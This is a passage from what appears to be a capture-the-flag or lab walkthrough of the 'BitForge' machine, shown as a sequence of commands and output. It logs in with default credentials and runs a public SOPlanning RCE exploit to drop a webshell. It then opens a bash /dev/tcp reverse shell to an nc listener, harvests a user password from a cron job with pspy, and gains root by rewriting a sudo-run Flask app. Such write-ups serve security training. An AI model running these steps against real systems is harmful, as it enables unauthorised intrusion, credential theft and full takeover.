Now we can try to log in using the credentials admin:admin
.

We indeed get logged in, so now we can try the exploit and get a interactive shell as the www-data
user in the /var/www/plan.bitforge.lab/public_html/www/upload/files/ubute3
directory.
## change directory
cd exploits
## download the exploit
wget https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
--2025-08-24 20:56:17-- https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2663 (2.6K) [text/plain]
Saving to: ‘SOPlanning-1.52.01-RCE-Exploit.py’
SOPlanning-1.52.01-RCE-Exploit.py 100%[=============================================================>] 2.60K --.-KB/s in 0s
2025-08-24 20:56:17 (12.2 MB/s) - ‘SOPlanning-1.52.01-RCE-Exploit.py’ saved [2663/2663]
## run the exploit and type `yes` to get an interactive shell
python3 SOPlanning-1.52.01-RCE-Exploit.py -t http://plan.bitforge.lab/www -u admin -p admin
[+] Uploaded ===> File 'wkc.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www/upload/files/ubute3/wkc.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$
## print current user
soplaning:~$ whoami
www-data
## print current working directory
soplaning:~$ pwd
/var/www/plan.bitforge.lab/public_html/www/upload/files/ubute3
To get a stable TTY setup a listener, catch a new reverse shell and upgrade it using the script
binary.
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.237/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup listener
nc -lvnp 9001
listening on [any] 9001 ...
## on target:
## run the reverse shell command
soplaning:~$ /usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.237/80 0>&1'
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.127.186] 51500
bash: cannot set terminal process group (1290): Inappropriate ioctl for device
bash: no job control in this shell
<.bitforge.lab/public_html/www/upload/files/crefyj$
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ export TERM=xterm
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ stty columns 200 rows 200
Lateral Movement #
First we list the users on the target that have a shell. There are three users, root
, ubuntu
and jack
.
## list users with a shell
www-data@BitForge:/var/tmp$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
jack:x:1001:1001::/home/jack:/bin/bash
Let’s run pspy64
to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases
and select pspy64
. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.
## change directory
cd uploads
## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 .
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.237/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on the target
## change directory
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ cd /var/tmp
www-data@BitForge:/var/tmp$
## download pspy64 using wget
www-data@BitForge:/var/tmp$ wget http://192.168.45.237/pspy64
--2025-08-24 19:13:46-- http://192.168.45.237/pspy64
Connecting to 192.168.45.237:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 0%[ pspy64 13%[=============> pspy64 37%[=======================================> pspy64 76%[==================================================================================pspy64 100%[=============================================================================================================>] 2.96M 4.01MB/s in 0.7s
2025-08-24 19:13:46 (4.01 MB/s) - 'pspy64' saved [3104768/3104768]
## set execution bit
www-data@BitForge:/var/tmp$ chmod +x pspy64
## run pspy64
www-data@BitForge:/var/tmp$ ./pspy64
The output of pspy64 shows credentials of the jack
user, jack:j4cKF0rg3@445
. Let’s switch to the jack
user. Indeed we can switch using these credentials and print local.txt
.
www-data@BitForge:/var/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/24 19:16:01 CMD: UID=0 PID=2404 | /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log 2>&1
## switch to the `jack` user and enter the password once asked
www-data@BitForge:/var/tmp$ su jack
Password:
jack@BitForge:/var/tmp$
## find `local.txt` on the filesystem
jack@BitForge:/var/tmp$ find / -iname 'local.txt' 2>/dev/null
/home/jack/local.txt
## print `local.txt`
jack@BitForge:/var/tmp$ cat /home/jack/local.txt
51d3590f41eea109b3a53cdd451e5b32
Privilege Escalation #
Listing the sudo privileges of the jack
user, we see, this user can run /usr/bin/flask_password_changer
with sudo without a password. When we print this file, it’s a bash file, changing directory to cd /opt/password_change_app
and running the flask application.
## list the sudo privileges
jack@BitForge:/var/tmp$ sudo -l
Matching Defaults entries for jack on bitforge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset
User jack may run the following commands on bitforge:
(root) NOPASSWD: /usr/bin/flask_password_changer
## print the content of `/usr/bin/flask_password_changer`
jack@BitForge:/var/tmp$ cat /usr/bin/flask_password_changer
#!/bin/bash
cd /opt/password_change_app
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug
Listing the content of the /opt/password_change_app
directory shows we own the files. So let’s change them to escalate our privileges.
jack@BitForge:/var/tmp$ ls -la /opt/password_change_app
total 16
drwxr-xr-x 3 jack jack 4096 Jan 16 2025 .
drwxr-xr-x 4 root root 4096 Jan 16 2025 ..
-rw-r--r-- 1 jack jack 134 Jan 16 2025 app.py
drwxr-xr-x 2 jack jack 4096 Jan 16 2025 templates
## echo multiline exploit
jack@BitForge:/var/tmp$ echo -e "import os\nos.setuid(0)\nos.system('/usr/bin/bash -p')" > /opt/password_change_app/app.py
## print `/opt/password_change_app/app.py`
jack@BitForge:/var/tmp$ cat /opt/password_change_app/app.py
import os
os.setuid(0)
os.system('/usr/bin/bash -p')
## run the sudo command
jack@BitForge:/var/tmp$ sudo /usr/bin/flask_password_changer
root@BitForge:/opt/password_change_app#
## print `proof.txt`
root@BitForge:/opt/password_change_app# cat /root/proof.txt
767a87ef164e15521fe3b3f12d70bc78
References #
[+] https://github.com/arthaud/git-dumper
[+] https://github.com/Worteks/soplanning/blob/master/includes/demo_data.inc
[+] https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
[+] https://github.com/DominicBreuker/pspy